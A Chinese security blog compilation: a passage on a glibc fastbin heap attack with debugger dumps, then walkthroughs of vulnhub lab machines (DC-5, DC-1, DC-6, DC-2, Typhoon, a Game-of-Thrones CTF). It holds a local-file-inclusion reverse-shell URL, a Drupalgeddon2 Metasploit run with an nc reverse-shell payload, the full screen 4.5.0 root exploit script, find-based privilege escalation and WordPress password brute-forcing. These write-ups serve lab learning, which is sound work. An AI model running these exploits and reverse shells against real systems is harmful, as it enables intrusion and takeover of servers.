思路是使用fastbin attack，how2heap上有一个栗子可以分析一下

先申请5个chunk，free之后使得 fastbin[0]->idx1->idx2->NULL

allocate(0x10)  # idx 0, 0x00
allocate(0x10)  # idx 1, 0x20
allocate(0x10)  # idx 2, 0x40
allocate(0x10)  # idx 3, 0x60
allocate(0x80)  # idx 4, 0x80
# free idx 1, 2, fastbin[0]->idx1->idx2->NULL
free(2)
free(1)

此时的bins

pwndbg> bins
fastbins
0x20: 0x5619d93ea020 —▸ 0x5619d93ea040 ◂— 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin

pwndbg> x/40gx 0x5619d93ea000
0x5619d93ea000: 0x0000000000000000      0x0000000000000021 --->idx0
0x5619d93ea010: 0x0000000000000000      0x0000000000000000
0x5619d93ea020: 0x0000000000000000      0x0000000000000021 --->idx1
0x5619d93ea030: 0x00005619d93ea040      0x0000000000000000
0x5619d93ea040: 0x0000000000000000      0x0000000000000021 --->idx2
0x5619d93ea050: 0x0000000000000000      0x0000000000000000
0x5619d93ea060: 0x0000000000000000      0x0000000000000021 --->idx3
0x5619d93ea070: 0x0000000000000000      0x0000000000000000
0x5619d93ea080: 0x0000000000000000      0x0000000000000091 --->idx4
0x5619d93ea090: 0x0000000000000000      0x0000000000000000
0x5619d93ea0a0: 0x0000000000000000      0x0000000000000000
0x5619d93ea0b0: 0x0000000000000000      0x0000000000000000
0x5619d93ea0c0: 0x0000000000000000      0x0000000000000000
0x5619d93ea0d0: 0x0000000000000000      0x0000000000000000
0x5619d93ea0e0: 0x0000000000000000      0x0000000000000000
0x5619d93ea0f0: 0x0000000000000000      0x0000000000000000
0x5619d93ea100: 0x0000000000000000      0x0000000000000000
0x5619d93ea110: 0x0000000000000000      0x0000000000020ef1
0x5619d93ea120: 0x0000000000000000      0x0000000000000000

然后我们修改idx2的指针,通过fill idx0造成溢出，同时由于内存对齐，可以肯定idx4的指针最后肯定是0x80

修改后如下：

pwndbg> x/40gx 0x560e5e91c000
0x560e5e91c000: 0x0000000000000000      0x0000000000000021 --->idx0
0x560e5e91c010: 0x6161616161616161      0x6161616161616161
0x560e5e91c020: 0x0000000000000000      0x0000000000000021 --->idx1
0x560e5e91c030: 0x0000560e5e91c080      0x0000000000000000 
0x560e5e91c040: 0x0000000000000000      0x0000000000000021 --->idx2
0x560e5e91c050: 0x0000000000000000      0x0000000000000000
0x560e5e91c060: 0x0000000000000000      0x0000000000000021 --->idx3
0x560e5e91c070: 0x0000000000000000      0x0000000000000000
0x560e5e91c080: 0x0000000000000000      0x0000000000000091 --->idx4
0x560e5e91c090: 0x0000000000000000      0x0000000000000000

此时的bins指向：

pwndbg> bins
fastbins
0x20: 0x560e5e91c020 —▸ 0x560e5e91c080 ◂— 0x0 (idx2-->idx4)
0x30: 0x0
0x40: 0x0
0x50: 0x0

如果再连续申请两个chunk，那么第一次是idx2，第二次就是idx4
但是malloc有一个check机制，如果两个fastbin的大小不一样就会报错，所以我们再借用一下idx3，让其溢出到idx4，修改idx4的大小

pwndbg> x/40gx 0x5573e66cd000 
0x5573e66cd000: 0x0000000000000000      0x0000000000000021 --->idx0
0x5573e66cd010: 0x6161616161616161      0x6161616161616161 
0x5573e66cd020: 0x0000000000000000      0x0000000000000021 --->idx1
0x5573e66cd030: 0x00005573e66cd080      0x0000000000000000
0x5573e66cd040: 0x0000000000000000      0x0000000000000021 --->idx2
0x5573e66cd050: 0x0000000000000000      0x0000000000000000
0x5573e66cd060: 0x0000000000000000      0x0000000000000021 --->idx3
0x5573e66cd070: 0x6161616161616161      0x6161616161616161
0x5573e66cd080: 0x0000000000000000      0x0000000000000021 --->idx4
0x5573e66cd090: 0x0000000000000000      0x0000000000000000

此时idx4的大小已经被修改了，于是可以申请了

allocate(0x10)  # idx 1
allocate(0x10)  # idx 2, which point to idx4's location

之后，如果我们想要将 idx 4 放到 unsorted bin 中的话，先需要把它的大小改回来，同时为了防止其与 top chunk 合并，我们需要再次申请一个 chunk。此后再释放 idx4 就会进入 unsorted bin 中去了。

pwndbg> x/40gx 0x559b5b9a5000
0x559b5b9a5000: 0x0000000000000000      0x0000000000000021 --->idx0
0x559b5b9a5010: 0x6161616161616161      0x6161616161616161 
0x559b5b9a5020: 0x0000000000000000      0x0000000000000021 --->idx1
0x559b5b9a5030: 0x0000000000000000      0x0000000000000000
0x559b5b9a5040: 0x0000000000000000      0x0000000000000021 --->idx2
0x559b5b9a5050: 0x0000000000000000      0x0000000000000000
0x559b5b9a5060: 0x0000000000000000      0x0000000000000021 --->idx3
0x559b5b9a5070: 0x6161616161616161      0x6161616161616161
0x559b5b9a5080: 0x0000000000000000      0x0000000000000091 --->idx4
0x559b5b9a5090: 0x00007fa9e254eb78      0x00007fa9e254eb78
0x559b5b9a50a0: 0x0000000000000000      0x0000000000000000
0x559b5b9a50b0: 0x0000000000000000      0x0000000000000000
0x559b5b9a50c0: 0x0000000000000000      0x0000000000000000

此时dump(2)就可以得到unsorted bin 的地址了。

此时的bins如下

pwndbg> bins
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all: 0x559b5b9a5080 —▸ 0x7fa9e254eb78 (main_arena+88) ◂— 0x559b5b9a5080
smallbins

DC靶机渗透

Fri, 09 Aug 2019 00:00:00 GMT

DC 5

扫描ip地址

之前一直没能够确认靶机的ip地址，其实只需要将网络连接模式修改为NAT模式重启一下就行了

# root @ kali in ~ [4:06:38] 
$ arp-scan 192.168.41.0/24
Interface: eth0, datalink type: EN10MB (Ethernet)
Starting arp-scan 1.9.5 with 256 hosts (https://github.com/royhills/arp-scan)
192.168.41.1	00:50:56:c0:00:08	VMware, Inc.
192.168.41.2	00:50:56:e0:f7:aa	VMware, Inc.
192.168.41.166	00:0c:29:d7:ef:a4	VMware, Inc.
192.168.41.167	00:0c:29:fd:e8:73	VMware, Inc. ---> DC5靶机
192.168.41.254	00:50:56:f5:fb:f6	VMware, Inc.

5 packets received by filter, 0 packets dropped by kernel
Ending arp-scan 1.9.5: 256 hosts scanned in 2.346 seconds (109.12 hosts/sec). 5 responded

扫描端口

masscan扫出了几个端口：

# root @ kali in ~ [4:09:46] 
$ masscan -p0-65535 192.168.41.167 --rate=1000000

Starting masscan 1.0.4 (http://bit.ly/14GZzcT) at 2019-08-09 08:10:19 GMT
 -- forced options: -sS -Pn -n --randomize-hosts -v --send-eth
Initiating SYN Stealth Scan
Scanning 1 hosts [65536 ports/host]
Discovered open port 80/tcp on 192.168.41.167                                  
Discovered open port 111/tcp on 192.168.41.167                                 
Discovered open port 33188/tcp on 192.168.41.167

扫描端口对应的服务

然后上nmap扫服务

# root @ kali in ~ [4:10:42] 
$ nmap -p80,111,33188 -sV -T4 192.168.41.167
Starting Nmap 7.70 ( https://nmap.org ) at 2019-08-09 04:15 EDT
Stats: 0:00:11 elapsed; 0 hosts completed (1 up), 1 undergoing Service Scan
Service scan Timing: About 66.67% done; ETC: 04:15 (0:00:06 remaining)
Nmap scan report for 192.168.41.167
Host is up (0.00042s latency).

PORT      STATE SERVICE VERSION
80/tcp    open  http    nginx 1.6.2
111/tcp   open  rpcbind 2-4 (RPC #100000)
33188/tcp open  status  1 (RPC #100024)
MAC Address: 00:0C:29:FD:E8:73 (VMware)

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 11.63 seconds

访问原始网页：

扫描后台——推荐使用 gobuster

dirsearch.py似乎没有发现什么

Target: http://192.168.41.167                                                                                           
[16:24:35] Starting:
[16:24:35] 400 -  172B  - /%2e%2e/google.com
[16:24:42] 301 -  184B  - /css  ->  http://192.168.41.167/css/
[16:24:44] 301 -  184B  - /images  ->  http://192.168.41.167/images/
[16:24:44] 200 -    4KB - /index.php

看了师傅们的提示，发现footer.php很有趣
每次刷新数字都会变化

同时发现在 http://192.168.41.167/thankyou.php页面也有这种效果，于是猜想是不是本地文件包含漏洞

访问http://192.168.41.167/thankyou.php?file=/etc/passwd，页面回显了！

同时该主机使用的是nginx服务，于是可以写一个shell到日志中并且包含这个文件

写入webshell，注意这里使用的是passthru函数

同 exec() 函数类似， passthru() 函数也是用来执行外部命令（command）的。当所执行的 Unix 命令输出二进制数据，并且需要直接传送到浏览器的时候，需要用此函数来替代 exec() 或 system() 函数。常用来执行诸如 pbmplus 之类的可以直接输出图像流的命令。通过设置 Content-type 为 image/gif，然后调用 pbmplus 程序输出 gif 文件，就可以从 PHP 脚本中直接输出图像到浏览器。

kali监听一个端口然后访问如下路由去包含文件并且弹shell
http://192.168.41.167/thankyou.php?file=/var/log/nginx/access.log&cmd=nc%20192.168.41.165%202333%20-c%20/bin/bash

核心命令nc 192.168.41.165 -c /bin/bash

此时的权限是www-data

接下来看如何提权

上提权辅助脚本
链接

发现有这个文件

exploit-db上搜一下exp：

#!/bin/bash
# screenroot.sh
# setuid screen v4.5.0 local root exploit
# abuses ld.so.preload overwriting to get root.
# bug: https://lists.gnu.org/archive/html/screen-devel/2017-01/msg00025.html
# HACK THE PLANET
# ~ infodox (25/1/2017) 
echo "~ gnu/screenroot ~"
echo "[+] First, we create our shell and library..."
cat << EOF > /tmp/libhax.c
#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>
__attribute__ ((__constructor__))
void dropshell(void){
    chown("/tmp/rootshell", 0, 0);
    chmod("/tmp/rootshell", 04755);
    unlink("/etc/ld.so.preload");
    printf("[+] done!\n");
}
EOF
gcc -fPIC -shared -ldl -o /tmp/libhax.so /tmp/libhax.c
rm -f /tmp/libhax.c
cat << EOF > /tmp/rootshell.c
#include <stdio.h>
int main(void){
    setuid(0);
    setgid(0);
    seteuid(0);
    setegid(0);
    execvp("/bin/sh", NULL, NULL);
}
EOF
gcc -o /tmp/rootshell /tmp/rootshell.c
rm -f /tmp/rootshell.c
echo "[+] Now we create our /etc/ld.so.preload file..."
cd /etc
umask 000 # because
screen -D -m -L ld.so.preload echo -ne  "\x0a/tmp/libhax.so" # newline needed
echo "[+] Triggering..."
screen -ls # screen itself is setuid, so... 
/tmp/rootshell

提权方法

exploit 地址

下载下来之后直接运行是不太可能的，我们需要将其中的C语言文件单独编译

然后修改原有的sh脚本

#!/bin/bash
# screenroot.sh
# setuid screen v4.5.0 local root exploit
# abuses ld.so.preload overwriting to get root.
# bug: https://lists.gnu.org/archive/html/screen-devel/2017-01/msg00025.html
# HACK THE PLANET
# ~ infodox (25/1/2017) 
echo "~ gnu/screenroot ~"
echo "[+] First, we create our shell and library..."

echo "[+] Now we create our /etc/ld.so.preload file..."
cd /etc
umask 000 # because
screen -D -m -L ld.so.preload echo -ne  "\x0a/tmp/libhax.so" # newline needed
echo "[+] Triggering..."
screen -ls # screen itself is setuid, so... 
/tmp/rootshell

但是我不知道怎么将文件上传到靶机中，尝试过使用python开启一个服务器然后用wget命令还是失败了

如图发现还是失败了

（纠结在不知道如何将文件传过去。tcl

DC5后记

thankyou.php文件中有以下内容；典型的本地文件包含漏洞

<div class="footer-wrapper">
	<footer>
		<?php

			$file = $_GET['file'];
				if(isset($file))
				{
					include("$file");
				}
				else
				{
					include("footer.php");
				}

		?>
	</footer>

DC1

arp-scan发现主机

# root @ kali in ~ [9:46:49] 
$ arp-scan 192.168.41.0/24
Interface: eth0, datalink type: EN10MB (Ethernet)
Starting arp-scan 1.9.5 with 256 hosts (https://github.com/royhills/arp-scan)
192.168.41.1	00:50:56:c0:00:08	VMware, Inc.
192.168.41.2	00:50:56:e0:f7:aa	VMware, Inc.
192.168.41.168	00:0c:29:9f:4c:60	VMware, Inc. ---> DC1靶机
192.168.41.254	00:50:56:f5:fb:f6	VMware, Inc.

扫描端口

# root @ kali in ~ [9:46:56] 
$ masscan -p0-65535 192.168.41.168 --rate=1000000

Starting masscan 1.0.4 (http://bit.ly/14GZzcT) at 2019-08-09 13:47:23 GMT
 -- forced options: -sS -Pn -n --randomize-hosts -v --send-eth
Initiating SYN Stealth Scan
Scanning 1 hosts [65536 ports/host]
Discovered open port 111/tcp on 192.168.41.168                                 
Discovered open port 47738/tcp on 192.168.41.168                               
Discovered open port 22/tcp on 192.168.41.168                                  
Discovered open port 80/tcp on 192.168.41.168

发现80端口是一个cms，名字叫drupal

metasploit搜索一下drupal的渗透模块

msf5 > search drupal

Matching Modules
================

   #  Name                                           Disclosure Date  Rank       Check  Description
   -  ----                                           ---------------  ----       -----  -----------
   1  auxiliary/gather/drupal_openid_xxe             2012-10-17       normal     Yes    Drupal OpenID External Entity Injection
   2  auxiliary/scanner/http/drupal_views_user_enum  2010-07-02       normal     Yes    Drupal Views Module Users Enumeration
   3  exploit/multi/http/drupal_drupageddon          2014-10-15       excellent  No     Drupal HTTP Parameter Key/Value SQL Injection
   4  exploit/unix/webapp/drupal_coder_exec          2016-07-13       excellent  Yes    Drupal CODER Module Remote Command Execution
   5  exploit/unix/webapp/drupal_drupalgeddon2       2018-03-28       excellent  Yes    Drupal Drupalgeddon 2 Forms API Property Injection

然后设置相关参数，获得shell

msf5 exploit(unix/webapp/drupal_drupalgeddon2) > set RHOSTS 192.168.41.168
RHOSTS => 192.168.41.168
msf5 exploit(unix/webapp/drupal_drupalgeddon2) > exploit 

[*] Started reverse TCP handler on 192.168.41.165:4444 
[*] Sending stage (38247 bytes) to 192.168.41.168
[*] Meterpreter session 1 opened (192.168.41.165:4444 -> 192.168.41.168:41848) at 2019-08-09 09:48:32 -0400

meterpreter > 
meterpreter > ls
Listing: /var/www
=================

Mode              Size   Type  Last modified              Name
----              ----   ----  -------------              ----
100644/rw-r--r--  174    fil   2013-11-20 15:45:59 -0500  .gitignore
100644/rw-r--r--  5767   fil   2013-11-20 15:45:59 -0500  .htaccess

但是之后只能获得一个Meterpreter,不是root用户也没法运行Linux的常用命令，于是想到修改payload

msf5 exploit(unix/webapp/drupal_drupalgeddon2) > set payload php/exec
payload => php/exec

msf5 exploit(unix/webapp/drupal_drupalgeddon2) > set CMD nc 192.168.41.165 2333 -c /bin/bash
CMD => nc 192.168.41.165 2333 -c /bin/bash
msf5 exploit(unix/webapp/drupal_drupalgeddon2) > exploit

此时本机监听一个2333端口，成功反弹shell

$ nc -lvp 2333           
listening on [any] 2333 ...
192.168.41.168: inverse host lookup failed: Unknown host
connect to [192.168.41.165] from (UNKNOWN) [192.168.41.168] 60424
ls
COPYRIGHT.txt
INSTALL.mysql.txt
INSTALL.pgsql.txt
INSTALL.sqlite.txt

此时上提权辅助脚本：

wget https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh

添加可执行权限并且运行，重点关注：

[-] SUID files:
-rwsr-xr-x 1 root root 88744 Dec 10  2012 /bin/mount
-rwsr-xr-x 1 root root 31104 Apr 13  2011 /bin/ping
-rwsr-xr-x 1 root root 35200 Feb 27  2017 /bin/su
-rwsr-xr-x 1 root root 35252 Apr 13  2011 /bin/ping6
-rwsr-xr-x 1 root root 67704 Dec 10  2012 /bin/umount
-rwsr-sr-x 1 daemon daemon 50652 Oct  4  2014 /usr/bin/at
-rwsr-xr-x 1 root root 35892 Feb 27  2017 /usr/bin/chsh
-rwsr-xr-x 1 root root 45396 Feb 27  2017 /usr/bin/passwd
-rwsr-xr-x 1 root root 30880 Feb 27  2017 /usr/bin/newgrp
-rwsr-xr-x 1 root root 44564 Feb 27  2017 /usr/bin/chfn
-rwsr-xr-x 1 root root 66196 Feb 27  2017 /usr/bin/gpasswd
-rwsr-sr-x 1 root mail 83912 Nov 18  2017 /usr/bin/procmail
-rwsr-xr-x 1 root root 162424 Jan  6  2012 /usr/bin/find
-rwsr-xr-x 1 root root 937564 Feb 11  2018 /usr/sbin/exim4
-rwsr-xr-x 1 root root 9660 Jun 20  2017 /usr/lib/pt_chown
-rwsr-xr-x 1 root root 248036 Jan 27  2018 /usr/lib/openssh/ssh-keysign
-rwsr-xr-x 1 root root 5412 Mar 28  2017 /usr/lib/eject/dmcrypt-get-device
-rwsr-xr-- 1 root messagebus 321692 Feb 10  2015 /usr/lib/dbus-1.0/dbus-daemon-launch-helper
-rwsr-xr-x 1 root root 84532 May 22  2013 /sbin/mount.nfs

但是此时并没有什么用，我们这里要讲的是用fing命令提权

find 之exec

随便创建一个文件touch anquanke
然后find查找并且加上-exec选项：

find anquanke -exec 'whoami' \;
root

发现此时是root用户，于是执行/bin/sh

find anquanke -exec '/bin/sh' \;
whoami
root

至此提权成功了

DC-6靶机——wordpress渗透

老规矩探测靶机的ip，然后扫描端口发现开放了80，按照下载时作者的提示需要修改hosts文件

$ cat /etc/hosts
127.0.0.1	localhost
127.0.1.1	kali
192.168.41.129  wordy
# The following lines are desirable for IPv6 capable hosts
::1     localhost ip6-localhost ip6-loopback
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters

之前kali上的wpscan有问题，更新镜像源重新升级了一下

wpscan --url http://wordy/ -e -t 20 直接扫一下看能有什么结果

扫描到用户：

[i] User(s) Identified:

[+] admin
 | Detected By: Rss Generator (Passive Detection)
 | Confirmed By:
 |  Wp Json Api (Aggressive Detection)
 |   - http://wordy/index.php/wp-json/wp/v2/users/?per_page=100&page=1
 |  Author Id Brute Forcing - Author Pattern (Aggressive Detection)
 |  Login Error Messages (Aggressive Detection)

[+] mark
 | Detected By: Author Id Brute Forcing - Author Pattern (Aggressive Detection)
 | Confirmed By: Login Error Messages (Aggressive Detection)

[+] sarah
 | Detected By: Author Id Brute Forcing - Author Pattern (Aggressive Detection)
 | Confirmed By: Login Error Messages (Aggressive Detection)

[+] jens
 | Detected By: Author Id Brute Forcing - Author Pattern (Aggressive Detection)
 | Confirmed By: Login Error Messages (Aggressive Detection)

[+] graham
 | Detected By: Author Id Brute Forcing - Author Pattern (Aggressive Detection)
 | Confirmed By: Login Error Messages (Aggressive Detection)

下一步根据上面下载地址处作者的提示，我们生产一个字典包

# root @ kali in ~ [21:29:41] 
$ cat /usr/share/wordlists/rockyou.txt | grep k01 > passwords.txt

之后使用wpscan爆破密码，登陆后台开始提权

参考

Linux 反弹shell（二）反弹shell的本质

渗透测试实战-DC-1:1靶机入侵+Matrix2靶机入侵

渗透测试实战——DC-5+DC-6靶机入侵

Linux提权辅助脚本

Game-of-Thrones-CTF-1靶机复现

一个很有意思的靶机

扫描靶机ip地址

# root @ kali in ~ [19:58:22] 
$ arp-scan 192.168.19.0/24
Interface: eth0, datalink type: EN10MB (Ethernet)
Starting arp-scan 1.9.5 with 256 hosts (https://github.com/royhills/arp-scan)
192.168.19.2	00:50:56:f9:02:e9	VMware, Inc.
192.168.19.131	00:0c:29:d0:e7:e1	VMware, Inc. ---> 靶机
192.168.19.254	00:50:56:e8:10:0e	VMware, Inc.

扫描端口

# root @ kali in ~ [19:59:38] 
$ masscan -p0-65535 192.168.19.131  --rate=1000000

Starting masscan 1.0.4 (http://bit.ly/14GZzcT) at 2019-08-10 23:59:47 GMT
 -- forced options: -sS -Pn -n --randomize-hosts -v --send-eth
Initiating SYN Stealth Scan
Scanning 1 hosts [65536 ports/host]
Discovered open port 80/tcp on 192.168.19.131                                  
Discovered open port 21/tcp on 192.168.19.131                                  
Discovered open port 1337/tcp on 192.168.19.131                                
Discovered open port 10000/tcp on 192.168.19.131                               
Discovered open port 53/tcp on 192.168.19.131                                  
Discovered open port 22/tcp on 192.168.19.131                                  
Discovered open port 5432/tcp on 192.168.19.131

扫描端口对应的服务：

# root @ kali in ~ [20:00:24] 
$ nmap -sV -T4 192.168.19.131           
Starting Nmap 7.70 ( https://nmap.org ) at 2019-08-10 20:02 EDT
Stats: 0:01:36 elapsed; 0 hosts completed (1 up), 1 undergoing Service Scan
Service scan Timing: About 83.33% done; ETC: 20:04 (0:00:19 remaining)
Nmap scan report for 192.168.19.131
Host is up (0.000085s latency).
Not shown: 992 closed ports
PORT      STATE    SERVICE    VERSION
21/tcp    open     ftp?
22/tcp    open     ssh        Linksys WRT45G modified dropbear sshd (protocol 2.0)
53/tcp    open     domain     (unknown banner: Bind)
80/tcp    open     http       Apache httpd
143/tcp   filtered imap
3306/tcp  filtered mysql
5432/tcp  open     postgresql PostgreSQL DB 9.6.4 - 9.6.6
10000/tcp open     http       MiniServ 1.590 (Webmin httpd)
2 services unrecognized despite returning data. If you know the service/version, please submit the following fingerprints at https://nmap.org/cgi-bin/submit.cgi?new-service :
==============NEXT SERVICE FINGERPRINT (SUBMIT INDIVIDUALLY)==============
SF-Port21-TCP:V=7.70%I=7%D=8/10%Time=5D4F5B1F%P=x86_64-pc-linux-gnu%r(Gene
SF:ricLines,11C,"220-------------------------\r\n220-\"These\x20are\x20the
SF:\x20Dorne\x20city\x20walls\.\x20We\x20must\x20enter!\"\x20-\x20Grey\x20
SF:Worm\r\n220-\r\n220-\"A\x20fail2ban\x20spell\x20is\x20protecting\x20the
SF:se\x20walls\.\x20You'll\x20never\x20get\x20in\"\x20-\x20One\x20of\x20th
...

此时80端口是开放的，所以可以扫描一下目录：

[20:04:36] 200 -    1KB - /favicon.ico
[20:04:37] 301 -  232B  - /h  ->  http://192.168.19.131/h/
[20:04:37] 200 -    3KB - /index.php/login/
[20:04:37] 200 -    3KB - /index.php
[20:04:37] 301 -  233B  - /js  ->  http://192.168.19.131/js/
[20:04:38] 301 -  236B  - /music  ->  http://192.168.19.131/music/
[20:04:40] 200 -  135B  - /robots.txt
[20:04:40] 403 -  222B  - /server-status
[20:04:40] 403 -  223B  - /server-status/

robots.txt文件

依次访问这些页面，同时记得查看源代码，具体的分析之后再搞

 /the-tree/
User-agent: *
Disallow: /secret-island/
Disallow: /direct-access-to-kings-landing/

参考

Game-of-Thrones-CTF-1靶机完全攻略

DC-2靶机

同样的扫描靶机ip，然后扫描端口，之后扫描端口对应的服务

发现开放了80和7744端口

# root @ kali in ~/dirsearch on git:master o [20:46:10] 
$ nmap -sV -p80,7744 192.168.19.132
Starting Nmap 7.70 ( https://nmap.org ) at 2019-08-10 20:47 EDT
Nmap scan report for 192.168.19.132
Host is up (0.00046s latency).

PORT     STATE SERVICE VERSION
80/tcp   open  http    Apache httpd 2.4.10 ((Debian))
7744/tcp open  ssh     OpenSSH 6.7p1 Debian 5+deb8u7 (protocol 2.0)
MAC Address: 00:0C:29:6A:1A:54 (VMware)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 6.62 seconds

然后修改hosts文件，打开网址发现又是一个wordpress

flag页面提示用cewl命令生成一个字典

cewl -w dc2_passwords.txt http://dc-2

用wpscan扫描出用户名，然后再用wpscan爆破密码

wpscan --url http://dc-2/ -e -t 20

wpscan --url http://dc-2/ -U user.txt -P dc2_passwords.txt

[i] Valid Combinations Found:
 | Username: jerry, Password: adipiscing
 | Username: tom, Password: parturient

typhoon靶机渗透

Fri, 09 Aug 2019 00:00:00 GMT

昨天晚上实战了一把，遇到了很多师傅，也积累了一些刷靶机的经验，虽然Windows那台靶机不知道是怎么回事，但是Linux那台还是玩的比较爽的。

今天又重新从 https://vulnhub.com 上把靶机搞下来装到Vmware上自己实验

靶机渗透之前也玩过，但是我每次发现自己都无法找到靶机的ip地址，这次重新实验了一下可以使用arp-scan和masscan工具

# root @ kali in ~ [3:04:28] C:1
$ arp-scan 192.168.41.0/24
Interface: eth0, datalink type: EN10MB (Ethernet)
Starting arp-scan 1.9.5 with 256 hosts (https://github.com/royhills/arp-scan)
192.168.41.1	00:50:56:c0:00:08	VMware, Inc.
192.168.41.2	00:50:56:e0:f7:aa	VMware, Inc.
192.168.41.166	00:0c:29:d7:ef:a4	VMware, Inc.
192.168.41.254	00:50:56:f5:fb:f6	VMware, Inc.

62 packets received by filter, 0 packets dropped by kernel
Ending arp-scan 1.9.5: 256 hosts scanned in 7.212 seconds (35.50 hosts/sec). 4 responded

前两个是类似网关的，第四个是kali的ip，中间第三个就是靶机的ip地址

用masscan也可以发现,同时端口也可以扫出来

# root @ kali in ~ [3:04:28] C:1
$ masscan -p0-65535 192.168.41.0/24 --rate=1000000

Starting masscan 1.0.4 (http://bit.ly/14GZzcT) at 2019-08-09 07:05:04 GMT
 -- forced options: -sS -Pn -n --randomize-hosts -v --send-eth
Initiating SYN Stealth Scan
Scanning 256 hosts [65536 ports/host]
Discovered open port 631/tcp on 192.168.41.166                                 
Discovered open port 139/tcp on 192.168.41.166                                 
Discovered open port 80/tcp on 192.168.41.166                                  
Discovered open port 22/tcp on 192.168.41.166                                  
Discovered open port 5432/tcp on 192.168.41.166                                
Discovered open port 995/tcp on 192.168.41.166                                 
Discovered open port 110/tcp on 192.168.41.166                                 
Discovered open port 445/tcp on 192.168.41.166                                 
Discovered open port 3306/tcp on 192.168.41.166                                
Discovered open port 27017/tcp on 192.168.41.166                               
Discovered open port 44337/tcp on 192.168.41.166                               
Discovered open port 6379/tcp on 192.168.41.166                                
Discovered open port 53/tcp on 192.168.41.2                                    
Discovered open port 25/tcp on 192.168.41.166                                  
Discovered open port 40811/tcp on 192.168.41.166                               
Discovered open port 33070/tcp on 192.168.41.166                               
Discovered open port 993/tcp on 192.168.41.166                                 
Discovered open port 43074/tcp on 192.168.41.166                               
Discovered open port 21/tcp on 192.168.41.166                                  
Discovered open port 53/tcp on 192.168.41.166                                  
Discovered open port 2049/tcp on 192.168.41.166                                
Discovered open port 37535/tcp on 192.168.41.166                               
Discovered open port 8080/tcp on 192.168.41.166                                
Discovered open port 143/tcp on 192.168.41.166

nmap扫描最常用命令nmap -sV -A -p- ip可以扫描到靶机开放的端口和服务，当然那台靶机开放了好多好多个端口，需要记住一些常用的端口和它们对应的服务

Nmap scan report for 192.168.110.164
Host is up (0.00034s latency).
Not shown: 985 filtered ports
PORT     STATE SERVICE     VERSION
21/tcp   open  ftp         vsftpd 3.0.2
|_ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_ftp-bounce: bounce working!
| ftp-syst: 
|   STAT: 
| FTP server status:
|      Connected to 192.168.110.72
|      Logged in as ftp
|      TYPE: ASCII
|      No session bandwidth limit
|      Session timeout in seconds is 300
|      Control connection is plain text
|      Data connections will be plain text
|      At session startup, client count was 2
|      vsFTPd 3.0.2 - secure, fast, stable
|_End of status
22/tcp   open  ssh         OpenSSH 6.6.1p1 Ubuntu 2ubuntu2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   1024 02:df:b3:1b:01:dc:5e:fd:f9:96:d7:5b:b7:d6:7b:f9 (DSA)
|   2048 de:af:76:27:90:2a:8f:cf:0b:2f:22:f8:42:36:07:dd (RSA)
|   256 70:ae:36:6c:42:7d:ed:1b:c0:40:fc:2d:00:8d:87:11 (ECDSA)
|_  256 bb:ce:f2:98:64:f7:8f:ae:f0:dd:3c:23:3b:a6:0f:61 (ED25519)
25/tcp   open  smtp?
|_smtp-commands: typhoon, PIPELINING, SIZE 10240000, VRFY, ETRN, STARTTLS, ENHANCEDSTATUSCODES, 8BITMIME, DSN, 
53/tcp   open  domain      ISC BIND 9.9.5-3 (Ubuntu Linux)
| dns-nsid: 
|_  bind.version: 9.9.5-3-Ubuntu
80/tcp   open  http        Apache httpd 2.4.7 ((Ubuntu))
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
| http-robots.txt: 1 disallowed entry 
|_/mongoadmin/
|_http-server-header: Apache/2.4.7 (Ubuntu)
|_http-title: Typhoon Vulnerable VM by PRISMA CSI
110/tcp  open  pop3        Dovecot pop3d
|_pop3-capabilities: PIPELINING TOP AUTH-RESP-CODE STLS SASL CAPA UIDL RESP-CODES
|_ssl-date: TLS randomness does not represent time
111/tcp  open  rpcbind     2-4 (RPC #100000)
| rpcinfo: 
|   program version   port/proto  service
|   100000  2,3,4        111/tcp  rpcbind
|   100000  2,3,4        111/udp  rpcbind
|   100003  2,3,4       2049/tcp  nfs
|   100003  2,3,4       2049/udp  nfs
|   100005  1,2,3      43523/tcp  mountd
|   100005  1,2,3      58512/udp  mountd
|   100021  1,3,4      39728/udp  nlockmgr
|   100021  1,3,4      59010/tcp  nlockmgr
|   100024  1          39860/udp  status
|   100024  1          57414/tcp  status
|   100227  2,3         2049/tcp  nfs_acl
|_  100227  2,3         2049/udp  nfs_acl
139/tcp  open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
143/tcp  open  imap        Dovecot imapd (Ubuntu)
|_imap-capabilities: OK more Pre-login have post-login listed capabilities IMAP4rev1 LOGINDISABLEDA0001 ID IDLE STARTTLS ENABLE LITERAL+ SASL-IR LOGIN-REFERRALS
|_ssl-date: TLS randomness does not represent time
445/tcp  open  netbios-ssn Samba smbd 4.1.6-Ubuntu (workgroup: WORKGROUP)
993/tcp  open  ssl/imaps?
|_ssl-date: TLS randomness does not represent time
995/tcp  open  ssl/pop3s?
|_ssl-date: TLS randomness does not represent time
2049/tcp open  nfs_acl     2-3 (RPC #100227)
3306/tcp open  mysql?
|_mysql-info: ERROR: Script execution failed (use -d to debug)
8080/tcp open  http        Apache Tomcat/Coyote JSP engine 1.1
| http-methods: 
|   Supported Methods: GET HEAD POST PUT DELETE OPTIONS
|_  Potentially risky methods: PUT DELETE
|_http-open-proxy: Proxy might be redirecting requests
|_http-server-header: Apache-Coyote/1.1
|_http-title: Apache Tomcat
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: WAP
Running: Actiontec embedded, Linux
OS CPE: cpe:/h:actiontec:mi424wr-gen3i cpe:/o:linux:linux_kernel
OS details: Actiontec MI424WR-GEN3I WAP
Network Distance: 2 hops
TCP Sequence Prediction: Difficulty=262 (Good luck!)
IP ID Sequence Generation: Incremental
Service Info: Host: TYPHOON; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

